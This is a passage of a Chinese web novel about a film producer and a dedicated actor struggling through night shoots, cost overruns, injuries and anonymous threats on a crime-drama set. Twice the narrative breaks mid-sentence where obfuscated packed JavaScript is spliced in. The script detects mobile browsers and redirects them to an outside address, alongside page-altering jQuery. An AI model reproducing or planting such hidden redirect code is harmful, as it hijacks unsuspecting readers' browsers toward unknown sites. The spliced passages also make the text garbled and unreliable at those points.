灯光组正调试霓虹灯的反射角度，昏黄和蓝紫交错，仿佛提前笼上一层夜色；地面撒了石子和废纸，整条街道带着一种压抑的边缘感。 她一抬头，便看见沈宴独自站在街角，神情专注。他穿着剧里的便服，低头把玩着那把仿制的道具枪，身体在光影交错间隐入又浮现。 那一刻，摄影机尚未开动，导演尚未喊“开始”，可他却已经浸入角色深处。 他反复练习从拐角探身、转身藏匿的动作，仿佛身后真有追兵。他轻轻擦过一辆摆放好的旧车，又迅速抽身消失在暗巷的一侧，整套动作行云流水，近乎本能。 偶尔踢到一张被风吹起的废纸，他低低咕哝一句，皱着眉重新调整站位，再来一遍，不厌其烦。 程今站在远处，久久没有出声。她不知自己站了多久，只觉得片场一时间竟像静止了一般，只剩下他一个人在与角色对峙。 直到耳边有人唤了她一声：“程制片。” 她才回神，走向摄影指导。 摄影指导看着沈宴那头，压低声音道：“他自己加了不少动作设计。我们摄影组还没完全跟上，不知道是不是得和他对下？” 程今顺着目光看过去，那边的沈宴正从暗巷中探出半个身子，神情冷峻，那种置身边界的气质仿佛天然刻进骨子里。 她低低笑了一声，语气却柔下来几分：“不用催他，让他多走一会儿。很多镜头感，的确是在演员与场景的意外碰撞中被逼出来的。” 说完这句话，她又轻轻地补了一句，声音不大，只有自己能听清： “……挺好的。” 不过，并非所有人都对这场临时加戏抱有期待。 夜里十点，茶水间灯光昏黄，编剧组的一个新人忍不住向程今低声抱怨：“程制片，你知不知道这场戏要搭多少新景？群演、灯光、道具都要追加，成本太吓人了……我们是不是太冒进了点？” 程今没立刻回话，只是将杯中温水轻轻放回桌面，等对方讲完，才转头看着他，语气温和却不容置疑：“我明白。但这段巷战，能让我们剪出项目最有爆点的中期预告。提前拉起热度，不光观众会买账，投资人也会重新评估风险值。” 她顿了顿，眼神清澈坚定，“值得赌。” 那新人似乎还想辩两句，却在她那道看似温和、实则毫不动摇的目光下闭了嘴。沉默几秒后，只得低声应了一句“知道了”，转身离开。 程今目送对方离开，眼神里的坚硬一瞬间滑落几分倦意。 她坐回临时办公桌前，拿起手机，划开文件管理系统，逐一翻看各部门提交的预算申请，快速在几个关键表格上勾画备注，标出几套备选方案： 若资金无法及时到账，便启用新融资线中的次级额度； 若时间人力不足，则按场次拆解，先拍对峙核心段落，其余留待后补； 若临时设备不足，可向联合制作单位协调同组资源，调配备用灯组。 她做这些事毫不犹豫，计划之缜密、节奏之冷静，仿佛眼前不是一场“加戏”，而是一场战役的前线预演。 其实，她也清楚：自己为什么不敢有任何一丝松动。 这部片子从立项第一天起，就是在风口浪尖上走钢索。 对手已经布过内鬼、放过黑稿，甚至连风评都在某个时间点被精准操控。现在哪怕一场小小的追加戏，都会被对方视作“破绽”——只要她这边一乱，他们就能趁机放大，继续制造“项目崩盘”的假象。 所以，哪怕已经连续工作了十八个小时，哪怕身体的每一个细胞都在叫嚣着疲惫，她也依然强迫自己保持清醒。 两天后，巷战场景的部分搭建完成，剧组挑了夜里最安静的时段，开拍第一场潜伏情节。 昏暗的布光让整条巷子看起来逼仄、湿冷，废纸堆与砖块散落其间，偶尔闪烁的破旧霓虹发出滋滋作响的电流声，像是这片灰色街角里唯一还在喘息的东西。 “准备。”副导演段林压低声音，场务依次熄掉多余灯源。空气仿佛一下子凝固，只剩下演员和武行之间压抑的脚步声与低语。 “开始。”杨学宁的语调几不可闻。 沈宴从街尾缓缓出现。 他穿着陈旧的外套，步履看似随意，却透着某种藏锋不露的谨慎。他一脚踩到废纸，身形一顿，但没有回头，只是不动声色地把纸踢到一边。然后，他敲开一扇藏在巷角的门，眼神一闪，与门内人交换一个极快的暗号。 整个过程干净利落，没有多余的肢体语言，但他的神情、呼吸、肩颈的紧绷与放松，都像踩在刀尖上平衡。 监视器后方，摄影组看得聚精会神，不时低声交流。 程今站在幕后光线之外，静静注视着屏幕上那个不发一言、却足够抓人的身影。 从“帮派混混”到“卧底警察”，沈宴只用了一个眼神的转变。没有任何台词，他却演出了一种夹缝生存、步步为营的压迫感。 她能看出来，他不仅理解这个角色，而是把角色融入了灵魂。 这种沉浸式的演法，不仅仅靠技巧，也靠直觉与控制力，而沈宴，在这两方面都表现得出奇精准。 可惜，好景不长。 一名群演在错位走位时动作错乱，撞翻了道具摊位，发出巨大声响，生生打断了整条流畅镜头。 “卡！”导演愣了一秒，随即爆出一声怒吼。 沈宴还保持着角色状态，一时没能立刻抽离，眉间却明显泛起一丝无奈。他下意识地闭了下眼，像是在克制情绪。 群演慌了神，不停鞠躬道歉，脸都涨红了：“对不起对不起，我不是故意的，我刚才……” 导演脸色难看，其他人也面露不快。这一条从调光到演员状态都几近完美，要重拍意味着一切归零，甚至连演员的那种临界情绪也很难完全复制。 程今当即出声：“别责怪他了。” 她语气平稳，却有种不容置疑的压制力，瞬间把躁动压了下来。 她转头看向场务，“先重新布置道具，补几块木板，动作组再跟一下位。灯组不动，保持刚才的色温。” 副导演段林立刻领命。 她走到群演面前，轻声道：“别自责，拍摄出错谁都有，稳住情绪，下一条注意节奏。” 她说话时并没有特别放缓语速，也没有故作亲和，但就是让人听着心定。 另一边，沈宴已经重新站回街角，他活动着肩颈，拿剧本在手边轻晃，像是用这个动作调整状态，也像是在把自己重新带回角色里。他没说什么，只低声和身旁演员对了几句暗号节奏，转身时眼神已经再次切换回那个危险又冷静的卧底模样。 另一条开拍时，剧本对人物的内心戏提出了更高要求。 这一场，沈宴饰演的角色需要在幽暗巷道里与同伴短暂交谈后，正面迎上帮派巡查队。镜头要精准捕捉他脸上流动的多重情绪，既要装出毫无破绽的“自己人”，又要让观众看到他对身份暴露的隐隐恐惧。 烟雾机启动，雾气从巷尾缓缓升起，昏黄灯光随之调暗，光影斑驳。整个场景仿佛陷入一场即将爆发的暗流之中。 沈宴站在入画点前，低头吐出一口气，双手藏在口袋里，肩膀轻轻一沉，像是瞬间把现实卸在身后。 他踏步前行。 帮派巡查队自远处而来，他仿佛早已看惯这阵仗，表情冷淡，步伐稳重，眼神微斜扫过对方，吐出一句： “怎么今晚人这么多？” 声音不高，语调却透着一丝不耐烦的桀骜，就像一个真正混迹多年的底层帮派分子，在对可疑盘查表示“别烦我”。 但在摄影机推进的那一刻，他的眼神里闪过一丝极轻的绷紧。 像是某根神经被悄然拉紧，又立刻藏入皮下。那一秒，眼神里有惊惧、有判断、有一抹压制的喘息。 可他很快收回情绪，继续冷眼旁观巡查队，不动声色地让他们信服他是“自己人”。 整场戏没有台词高潮，没有动作冲突，却让在场的工作人员都屏住了呼吸。 杨学宁没有第一时间喊停，而是等巡查队彻底离开画面，才低声道：“卡。” 现场寂静了好几秒。 摄影指导和编剧互看一眼，脸上浮现出一抹意料之外的惊喜，最后是那句含笑的“……可以啊，这段很有戏”。 程今一直站在监看位后侧，整场都没发声。直到收工，她才走上前来。 沈宴正在卸下背上的仿制枪，呼吸未稳，衬衫贴在后背，整个人像刚从风暴中心撤出。 她看着他，语气一如既往的平稳：“辛苦了。先去补妆，一会儿还有后半段。” 话里没有表扬，没有安慰，但她的语气比平常柔和了一分，眼神也在他脸上停留了半秒。 沈宴没有回应太多，只点了点头，把枪交给武指，转身离开。他走得不快，却带着一种只有自己知道的筋疲力尽。 没人知道，为了这几分钟的镜头，他在场景未搭好时就已经反复推演了几十遍走位与情绪切换。 有人天赋异禀，有人用力不显山水，而他属于后者。 看似沉静克制，却在每一场戏里燃尽全部力气。 程今站在原地，看着他的背影隐入巷尾的灯影中。她没有多想，但心里某一处，像是悄悄被触动了一下。 深夜一点半，巷战夜戏仍拍得紧锣密鼓。狭窄街巷中，一场追逐冲突刚刚展开，几名演员与武替在地面翻滚、撞击，动作密集。 意外来得毫无征兆。 “砰”地一声，一位武替失足撞上铁栏，整个人滑向道具车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359146|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边缘，膝盖重重磕在铁皮上，发出闷哼，随后整个人倒地不起。 现场一瞬间静了半秒，紧接着灯光组、武指、场务迅速聚拢。 沈宴几乎是本能地丢下手中的□□，跨过一地道具，第一个冲过去将对方扶起。那位武替脸色发白，冷汗直冒，剧组医疗小组赶到检查后，迅速下结论：“疑似软组织损伤，今晚不能再拍了。” 武指眉头紧锁：“这场戏就差他一个动作配合，不能断啊。” 导演看向沈宴，语气里带着一点犹豫与无奈：“你的动作部分还没拍完……要不，先暂停？” “没事。”沈宴语气低沉却果断，“换人吧。” 他已经转头看向另一位武替，直接问：“你之前练过这段动作吗？可以替上吗？” 那人点头，却有些迟疑：“熟过一次，但还没实操。” 沈宴看了导演一眼，语气沉着：“给我们十分钟，对下动作。只要他能配合，我来控节奏，保安全。” 导演犹豫片刻，转头与程今对视。程今早已快步走来，眼神不言自明。 不能再出事，也不能停。 导演点头：“灯光先调，摄影组休息十分钟。” 整个现场稍稍松动，空气中却依然紧绷。程今站在场边，看沈宴拿起道具枪，一遍又一遍地带着新替身练动作走位。没有怨言，没有抱怨，哪怕满脸疲倦，也没放松一丝。 那一刻，她忽然明白了沈宴的某种坚持。 这不仅仅是一个演员的敬业。他很清楚，剧组不能再停，大家都已经在极限边缘。他顶上，是为了让整个项目不至于在深夜崩盘。 这种冷静、沉稳、在关键节点自动补位的处理方式，像极了这几天的自己。 程今垂眸，轻轻吐出一口气。 每个人都在救火——她救的是整个项目，他守的是现场秩序。 只要不倒下，就得继续往前走。 几分钟后，灯光准备就绪，摄影再次归位。沈宴站回入画点，眼神已恢复专注。他看了程今一眼，没有多说话，只是点了一下头，然后投入镜头。 程今回望他，忽然有种微妙的共鸣感。 一条成功拍下来时，已是凌晨三点。 沈宴与新替身配合默契地完成追逐、翻墙、扭打，动作干净利落，没有一丝迟疑。最后一个镜头收尾，杨学宁看着监视器终于满意地点头：“OK，收工！大家先休息！” 偌大的巷道景顿时松动起来。嘈杂声蔓延开来，灯光师弯腰整理电缆，场务开始拆卸道具，空气中混杂着疲惫后的松懈气息。 沈宴一只手撑着墙，剧烈喘息着，汗水顺着鬓角滑落，T恤贴在背上，整个人像刚从真实的街头斗殴里逃生似的。他低着头，眉心仍微微蹙着，显然整场戏他神经始终绷得极紧。 程今站在不远处，静静看着他。 他看起来极狼狈，身上带着仿真血污和道具划痕，但眼里还残留着一种亢奋的亮光——像在高强度压力下找到了发力点的人，那种在混乱中稳住自己节奏的敏锐与沉着。 她走过去，把一瓶水递给他，语气轻松却意味分明：“可以啊，不到二十分钟就把关键镜头补回来了。” 沈宴接过水，略微点头：“还不错，新替身跟我配合挺好。”他说得简短，嗓音略哑，却带着隐约克制的满足，仿佛在刻意压住情绪，不让它显得太显眼。 他拧开瓶盖，抿了一口水，侧头看了她一眼，轻声道：“谢谢。” 只是两个字，却不带公式感，反而因太简洁而更显诚恳。 程今没再说话，也没像往常一样立刻投入下一个安排，而是和他并肩站了一小会儿。片刻的寂静被背景的收工声音包裹着，却在他们之间显得安静而不尴尬。 她感受到他肩膀起伏还未平息，感受到这场混乱夜戏后那一点点并肩留下的默契感。 这一刻的沉默，比任何夸赞都更显意义。 他们都不习惯过多表达，也不需要。能把镜头救回来，把现场撑下来，本身就是最好的对彼此回应。 夜色愈深，片场渐渐散去。导演、编剧和制片组相继离开，只剩几名道具师和值班保安还在善后，忙着回收灯具与场景。 程今习惯性地绕场一圈，确认每一处电源是否关闭。直到最后一盏顶灯熄灭，她才背起包，走出棚门。 一开门，寒风扑面而来，吹乱了她的发丝，也让她意识到——自己真的累了。 不是某一刻的疲惫，而是一种悄无声息、从骨头里沁出来的倦意。 她下意识摸出手机准备查看工作群，却突然震动了一下。 屏幕上跳出一条陌生号码发来的短信： “你们拍得很火热嘛。别得意太早。还有很多人等着看笑话。” 她的脚步顿了顿，下意识抬眼看向四周。 漆黑一片，安静得出奇，只有远处道具组收拾时偶尔传来金属碰撞的声音，像被埋在夜色里的警告。 她盯着短信几秒，手指一点，将它彻底删除。 她不是没遇过这种匿名挑衅，也清楚对方不会轻易罢手。 《暗潮》的拍摄才真正进入关键剧情，所有角色的情绪走向、命运反转、高潮爆点全压在这一段。任何微小的事故或漏洞，都可能被无限放大，成为致命软肋。 她不能松懈，哪怕一秒。 几乎在同一时间，另一辆车缓缓驶离片场。 副导演的副驾里，沈宴靠着车窗坐着，视线落在窗外。 程今还站在路边，手机垂在身侧，风把她头发吹得有些乱，但人站得笔直，一动不动。 他没有多想，只是盯着那背影看了两秒，忽然觉得有点熟悉。 不是在哪见过的那种熟悉，而是—— “原来你也是这样的人。” 不吭声，不喊累，不找人分担。 各自扛着一摊子事，撑一天是一天。 他收回视线，靠在椅背上闭了眼。没说什么，也没回头。 程今也上了自己的车，吩咐司机开车。 一路上没人说话，她靠着车窗闭目休息，脑子却还在转。导演那场戏改得不错，沈宴的情绪也稳住了……群演摔得那一下太险，得问问医疗组后续处理了没有。 还有那条短信。 她没打算管它。 现在不是分心的时候。 这部戏，她得把它拍完——这是她答应过自己的事。 8. 第 8 章 深夜，聚光灯把逼仄的巷道照得像白昼。空气中还残留着拍摄时的火药气息和烟雾味，刚完成的一场对峙戏，比以往更激烈也更紧绷。剧组几乎连轴运转，把整条街景改造了三轮，美术组熬了三个通宵，可最终呈现出的效果，仍未完全达成导演心中设想的“街头压迫感”。 1 拍完巷战戏的第三天，导演便迫不及待提出：趁热打铁，再加一段尾随追击的大场面。 “那场戏情绪起来了，但节奏还是差点意思！”杨学宁一边在会议桌上铺开图纸，一边神采飞扬地比划，“既然景还在，就不如把街口再往外拉十米，做成街头拦截效果。观众要的是张力、是代入感，这一段拍出来，预告片都能剪出爆点。” 程今没说话，只垂眼翻着刚刚提交上来的紧急预算申请。纸页翻动的声音在小会议室里格外清晰。 编剧小井犹豫了一下，小声开口：“程制片……我们是不是得先解决资金问题？这几天人手都在压缩，物资也跟不上。”语气尽量委婉，像是怕戳破那层快要绷断的平衡。 副导演段林靠在椅背，眉头微蹙，没插话，但从他轻敲膝盖的手指节奏，程今读得出他也有顾虑。 大家都在等她表态。 她抬头，视线扫过面前那几双期待、隐忧、观望的眼睛，肩膀像是背着一块肉眼不可见的压石。 短暂的沉默之后，她放下文件夹，语气一如既往平稳：“我会和制片助理重新核算一次具体成本。如果花费在可承受范围内，按导演想法推进。” 她顿了顿，又补上一句：“但工期不能再拖。我们没有多余时间了。” 导演一听，当即拍板：“行！我这就去让美术和道具组出调整方案！” 他语气轻快，像是被判了胜诉。而程今只是静静点头，没有笑。 她心里其实比谁都清楚——这个“决定”并不轻松。多一场重戏，意味着多一道风口，也意味着更大的资金缝隙。可眼下，项目处处受限，外界质疑如潮。她不能放弃任何一个能激起水花的机会。 2 当天下午，一位戴着银边眼镜的年轻人出现在片场。最初，场务以为他只是来探班的普通工作人员，直到他出示名片——“临川基金项目助理，罗凯”。 “赵总让我来了解一下拍摄实况，也顺便收集点一手素材。”罗凯笑得得体，“毕竟我们这边的投入不算小，自然希望对项目有更清晰的把握。” 程今得知后，亲自接待他：“欢迎，罗先生。有任何需要，我这边配合。” 她心里明白，这人并非单纯送温暖，而是赵敏派来的“第二只眼睛”。赵敏虽然始终站在项目这边，但资本谨慎向来是本能。若剧组混乱失控，哪怕只是苗头，也可能在瞬间引发撤资。 罗凯在片场来回巡视了一圈：他看见正在搭建的巷道景，看见灯光、美术组连夜加班的痕迹，看见几位熬红了眼的群演靠在板凳上小憩。全程没有发表任何意见，只是不动声色地在笔记本上记录着。 傍晚，他主动提出想和程今单独谈谈。 “感觉剧组……运转得挺吃力。”他语气不重，却直指问题。 程今嘴角一挑：“确实辛苦。但还在预期之内。警匪片原本就不轻松，尤其我们还想做点突破。” 罗凯轻轻点头，眼神意味不明：“赵总还是相信你。但你也知道，资本最怕失控。一旦周期延误，或市场信号反应不佳……我们也得有所准备。” “我明白。”程今保持着镇定的笑，语气却格外干脆，“我们在赶进度，也在控成本。赵总那边，我会交出一个交得起账的答卷。” 他们之间的对话，全程不带火气，却像在无声比拼底气。 客套完毕后，罗凯准备离开。走到片场门口，他忽然回头，看见沈宴正独自演练动作戏。他没穿戏服，只穿着一件薄T恤，汗水湿透后背，却仍然在反复演练转身、拔枪、躲避的细节。 罗凯目光微顿，似乎若有所思，最终什么也没说，只转身离开。 3 入夜后，新一轮拍摄在临时巷道开工。 沈宴身穿角色的便服，腰部和肩膀都绑着护具，却仍坚持亲自上阵，完成一连串高强度的翻越、闪躲动作。摄影师贴身跟拍，镜头一路晃动，脚步声与道具碰撞声交错回响在逼仄街景里。 导演刚喊“卡”，副导演段林立刻上前，脸上满是担忧：“沈老师，你膝盖前几天不还有淤青？这跳来跳去的，不怕再伤着？” 沈宴取下护具，动作有些迟缓，声音却依旧平稳：“还能撑。” 在场的人都看得出来，他脸色发白、气息不稳，却没人再多劝一句。他一向是那种“不出问题就不肯停下来”的性子。 这时，程今走过来，眉头轻蹙，语气不疾不徐：“你得自己掂量清楚，别硬扛。” 沈宴听到她的声音，动作顿了顿，眼神里闪过一丝细微的波动。他低声回道：“我知道。但这几场动作戏已经排了好几天，换替身来不及适应，节奏也会乱。如果拖下去，整体进度会受影响。” 他语气依旧克制，但那股倔强和自我压迫几乎写在脸上。 程今望着他，一时间说不出话来。他总是这样，看起来波澜不惊，骨子里却有种沉默的狠劲。正是这股不肯退让的韧性，让他在一众试镜者中脱颖而出，拿下这个角色。 可她终究是制片人，必须站在项目整体的角度考虑。她心里清楚：如果他真倒下，剧组付出的代价远比这场戏的重拍要沉重得多。 她沉了沉声，终是退了一步：“可以坚持，但拍完必须去医务室检查。” 沈宴点了点头，没有多言，转身回到拍摄区，与动作指导低声讨论下一镜的走位与过场。 灯光投射在他背影上，那道身影看起来单薄，动作却依旧干净利落。夜色里，他像一枚钉子，牢牢钉在自己的位置上，不动也不退。 4 拍摄中途，现场忽然吵嚷起来。 程今循声望去，发现场务主管老周正挥着对讲机，冲一群年轻小场务劈头盖脸地骂：“灯管都不收拾好？电缆乱成一锅粥，要是演员半夜踩一脚出点事，谁负责？你们？” 几个年轻人被吼得脸涨通红，低头小声嘀咕：“大半夜的，谁还没点走神……” 老周火气腾地窜上来：“你再说一遍？我干电影干了三十年，拍过的戏比你们见过的还多！你们这帮新兵蛋子要是把人绊着了，后面要多大麻烦！” 动静太大，惊动了不远处的导演和副导演。段林快步赶来，皱眉劝道：“周哥，大家都熬夜拍戏，情绪别太上头。” 老周回瞪他一眼，声音照样不低：“我管你情绪不情绪，安全才是头一条！出事故你能负责吗？程制片能负责？” 正僵着，程今走了过来，先是示意几个小场务把电缆和灯具清理归位，又礼貌却不容置疑地把老周请到一旁说话。 “周哥，我理解你出身老电影厂，规矩意识强，这对我们来说是好事。”程今语气平稳柔和，尽力压住现场的燥气，“但年轻人刚进组不久，很多流程不熟，需要的是提醒、不是发火。” 老周还在喘着粗气，显然怒火未消：“我不是怕出事嘛。这剧组拍得一天比一天赶，预算压，人手也不够，我要是不盯死，他们根本撑不住……” 程今听着，终于明白：他不是单在乎电缆，更是在担心整个剧组的节奏失控。 “我知道。”她声音轻了几分，“这阵子确实紧。但你这把年纪还顶着夜班，我们都看在眼里。人手方面我会协调增派，工作也尽量细化到位，让你不用每一桩小事都亲自盯着。” 老周看着她，沉默了一瞬，终究还是哼了一声，算是勉强应下。 “我这人嘴碎，但你要真补人手，我就不吭声了。” “那就说定了。”程今轻轻点头，语气里多了一丝不易察觉的疲惫，“我不怕有人有脾气，怕的是没人管事。” 程今看着老周远去的背影，不禁头痛：这是个有经验却脾气火爆的人，对提升现场效率是好事，但是，对团队合作而言，难免成为新的隐患。 5 深夜两点，夜拍暂告一段落。 导演原本计划再拍一条巷道夜戏的拼接镜头，可因为布景搭建推迟，只得暂缓至明晚。程今做了简短收尾总结，收起对讲机，转身朝临时办公室走去。 制片助理刘倩正守在办公桌前，脸色一看就是压了整晚的烦闷。见她进门，赶紧起身，语气低沉：“程姐，巷道扩建那部分预算出了问题——刚刚核算下来，材料费和加班费，比原预估多了至少百分之二十。” 程今一顿，眉心立刻蹙紧：“百分之二十？怎么会差这么多？” “老周说搭景临时加了几段支架，还用了二次布料补灯光层次，美术那边也连着几晚通宵干。灯光组还报了几箱灯管损耗。”刘倩语气小心，像是在提前预判她的反应。 程今沉下脸，接过一沓加急送来的账单，快速翻看。 她当然知道导演为什么这么拼：巷战场面是中段的核心，能不能拉高预告观感、唤醒观众期待，全看这一段能不能打动人。但她也明白，每一次“要做得更好”的念头，背后都是实打实的预算飙升。 “行了。”她合上文件，强压住语气里的疲意，“你先让财务把全部材料和发票清理归档。我来跟赵敏那边试着谈一次应急调拨。” 说完，她却迟疑了一下，又低声补了一句：“……暂时先别把具体超支数告诉导演。现在告诉他，只会更焦虑。” 刘倩点头，眼神略带敬佩，又掺着一丝无奈：“明白。我也怕现场再有点风吹草动，士气直接散了。” 程今没再接话，只是默默走到窗边，推开一条缝，冷风灌进来，吹得人清醒。 外头天还未亮，远处街景黯淡。她望着那一长串账目里跳跃的数字，像看着沙漏的最后一截砂砾，一粒粒往下掉，毫不留情。 6 第二天凌晨四点，剧组沉入沉睡，只有医务室的灯光还亮着。 程今抱着资料走到门口，脚步一顿——门缝透出一线光，屋里还亮着。她抬手敲了下门，推开进去，沈宴正靠在病床边，膝盖上敷着冰袋，听见动静，缓缓坐直。 “你还没回去？”他声音低哑，像是熬过长夜后的疲惫沉音。 她走到床边，看清他左膝裹着一层厚厚的绷带，淤青从边缘泛出一大片，颜色骇人。 “怎么这么严重？”她皱眉，语气不自觉带了些不悦，“是不是昨晚又硬撑了？” 沈宴试图轻轻活动腿，动作顿了顿，还是吸了口凉气：“动作戏一套连下来，替身能顶前半段，后面细节得我自己接。” 程今没说话，只垂下眼看着那根冰袋边缘微微泛白的皮肤，许久才低声开口：“你不是只拍这一部戏的人。” 她将一份打印好的纸递到他面前，是她连夜改的降强度拍摄建议书。 “我让导演和动作组一起商量的，降低强度、拆分镜头，能缓解对你身体的负担。”她语气淡，却带着不容置疑的坚定，“我们改进度可以承受，但你不能倒。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359147|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈宴翻了几页，没立刻回应，沉默几秒才轻声说：“我明白。” 他的声音低，却透出一点卸下防备的软。他知道她口中的“我们”其实是“她”。 她看着他沉默的神情，眼里浮出一丝不易察觉的柔意，却又飞快收起，只轻轻拍了拍他肩膀：“等好些再说。今晚先让医务组多盯一会儿。” 说完，她转身往门口走去，步子未快，却带着一贯利落。 就在她推门前一刻，身后传来一句低声的“程今”。 她回头。 沈宴没有看她，只是半侧着身，目光垂落在指尖握着的冰袋上：“抱歉，让你操心。” 这话说得轻，却像一道静静落下的涟漪，在空气里荡开。 她没有回应，只是点了点头。 门关上的刹那，沈宴抬眼看向那片空了的位置，屋里灯光仍亮着，照得空气都泛着倦意。他靠回病床，闭上眼—— 他的戏还没演完。 而她背后的辛苦，从不出现在镜头前。 7 天色刚亮，巷道场景还笼着一层薄雾，地上散落着昨夜未清理的道具。老周带着场务在现场巡视，眉头却越来越紧。 “工具箱不见了，备用电线也被扔在地上，不知道谁动的。” 他火气上头，径直冲进程今办公室：“这还拍不拍？现场被人乱动，像话吗？要不是偷东西，就是有人想捣乱。” 程今正捧着早上的第一杯咖啡，眼底全是一夜没合眼的倦意。她放下杯子，尽量让声音保持平稳：“先别急，我让保安去查监控。” 话音刚落，保安气喘吁吁地跑来：“程制片，有一段时间的画面出了故障，刚好……没拍到是谁动的。” ——又是“刚好”。 程今闭了闭眼，隐约的烦躁浮上来。这已经不是第一次出现类似问题了。 不论是偶发的小偷小摸，还是有人蓄意搞事，这样的安全漏洞在眼下的局势里，都足够致命。 她迅速决断：“老周，把所有临时场务的名单整理一份，今晚前我要看到清单。所有工具从今天开始编号、登记、锁箱，责任到人。” 老周咬了咬牙，没再顶嘴。他脾气一向火爆，换作平时肯定炸了，可想到昨晚程今面对资金压力时还替他出头，终究忍下了火，转身去安排执行。 8 上午十点，许多剧组成员还没睡足，就被副导演段林一通喊声拉回棚里。整条巷道要重布灯光，准备拍摄一场对白戏，随后还要补拍追逐段落。连续数日高强度拍摄，疲惫已经写在每个人脸上。 “动作快点！再磨蹭就得连夜加班三小时！”段林的声音在片场炸开。 美术组几个年轻人刚把道具支起来，又被吼得脸色发白。老周拎着对讲机正要开骂，程今眼疾手快拦在他面前。 “周哥，先别发火。”她声音不高，却带着一股拦得住人的力道。 她环顾四周，所有人眼神发虚，动作迟缓。片场像一台□□到极限的机器，齿轮还在咬合，却随时可能崩断。 “不能再这么干下去。”她在心里默默想着。经费紧，人手紧，导演还一心想加戏。现在再不控节奏，下一步就可能出安全事故。 她转头对制片助理低声道：“午饭后安排全员休息一小时。下午再开机。” 助理迟疑：“可导演那边说要赶进度……” “我去跟他说。”程今的声音一如既往平稳，但神色里透着不容置疑的坚持。 她深吸一口气，转身朝导演办公区走去。身后是一地凌乱布景、疲惫沉默的人群。 9 中午时分，片场短暂归于安静。 导演在临时搭的小间里翻剧本，神情疲惫中还透着执拗。程今敲门进来，脸上带着连日未歇的倦意，却依旧维持着应有的礼貌。 导演抬头，话还没寒暄就先落了地：“又要我减戏？我知道你难，但这场巷战要是真压下去，中段节奏就塌了。” 程今不争辩，只是把一份场务、人力、物资消耗数据递到他面前：“你看看，最近事故频发，大家连轴转。这种赶工节奏下，你要加拍那场街头拦截戏，预算至少再涨一成。咱们还能不能承受，你心里得有数。” 导演看着那几行字，眉头越拧越紧，手指不自觉地揉着额角：“我是真的想拍出点不一样的。中段要有爆点，观众才买账。投资方也不就盯着这个嘛。” 程今点头：“我理解你的用心，也支持你要做出质感。但如果再出事，不只是预算超，还有团队的情绪、项目的口碑。”她语气放缓，却句句都紧着现实，“所以不是减戏，而是该设限，包括人力排班、后勤补给、夜拍时长，通通写进执行表里。我们必须把风险压到最小。” 屋里静了一瞬。 导演终于把剧本放下，叹气：“行，我听你的。接下来先拍完对白和小场面，外景分段补，不一口吃。” 程今轻轻点头：“谢谢配合。”她知道他让步不易，艺术理想很重，可一部戏能不能完成，要靠的却是现实把控。 她走出房间，外头烈日正盛，却毫无夏日的明亮感。 片场里一切如常，老周在训人，场务在奔走，远处的沈宴还在和动作指导反复调整动作。烈日下，这片废景看上去破碎又拥挤，像是随时可能崩塌的舞台。 程今站在场边，目光落在这群奔波的人身上。她想起罗凯那张礼貌却审慎的脸，想起赵敏几日前电话里“再评估”的字眼……心里忽然像压了一块沉沉的石头，无法言说的重。 9. 第 9 章 深夜收工的余温尚未散尽，清晨的片场已重归喧嚣。人声、走动声、对讲机指令交织在一起，看似日常如常，却藏着一股难以言喻的紧张感，仿佛一场新的风暴正在积蓄。 1 上午九点刚过，程今刚从车上下来，手里还拿着一杯没喝两口的咖啡，就被制片助理刘倩拦住。 “程制片，临川基金的罗凯来电话了。”助理压低声音，神色小心，“他说想看这三天的详细拍摄进度，还要一份最新预算分配明细。” 程今脚步一顿，指尖的咖啡温度已经退了大半。她轻轻吸了一口，语气平淡：“又来？” 刘倩摊了摊手，无奈道：“可能是前两天巡场还不够，他那边怕我们烧钱太快，又没出成果。” 程今没再说话，只把咖啡杯移到左手，右手从口袋里掏出手机，翻查日程。她心里清楚：罗凯的电话，不只是例行追问，更像是基金方的一次信号释放。 他们在等结果，等一个能证明《暗潮》“值得继续投”的理由。 她收回思绪，简洁吩咐：“把拍摄表和上周的财务小结都整理出来，我十分钟后回电。” 刘倩点头快步离开，程今看着他背影，眉宇轻蹙。 临川虽然没有明确表态，但这种频率的“了解情况”，已足够说明他们开始不安了。眼下永荣那边火力全开，若临川动摇，她这边真就连反击的底气都没了。 她转身穿过走道，准备去导演那边确认进度。经过化妆区时，余光瞥见沈宴坐在一角，手里翻着一本旧剧本笔记，眉头紧蹙，神情倦怠却专注。 那神情像极了她最近的状态，困，却不得停。 2 当程今再度路过化妆区时，副导演段林快步追上来，压低声音：“程制片，你看到沈宴了吗？他今早又在翻那些卧底原型的案例资料，妆都没来得及补。” 程今一怔：“他哪来的资料？” “托朋友找警校老师借的，还翻了不少国内外经典案例，几乎是沉进去不出来。”段林语气带着一丝不安，“这投入当然好，真能拍出质感。但他这几天基本没合眼，我担心他硬撑下去出状况。” 程今没立刻回应，只抬眼看向前方的化妆间，目光落在那扇半掩的门上，神色一瞬沉了几分。 她知道沈宴一直在追求突破，也看得到他的认真和沉着，这份执拗的职业感，是许多流量演员身上所缺的。但演员不是机器，一旦过了线，很容易情绪崩盘。 “先别让他全压在重头戏上，”她语调平静，却不容置疑，“这两天有群戏，先切换节奏。导演那边我来沟通。” 段林点点头，刚要走，又回身道：“现在剧组都在说他状态特别稳……但万一他真撑不住，影响会很大。” 程今没有回答，只轻轻颔首。 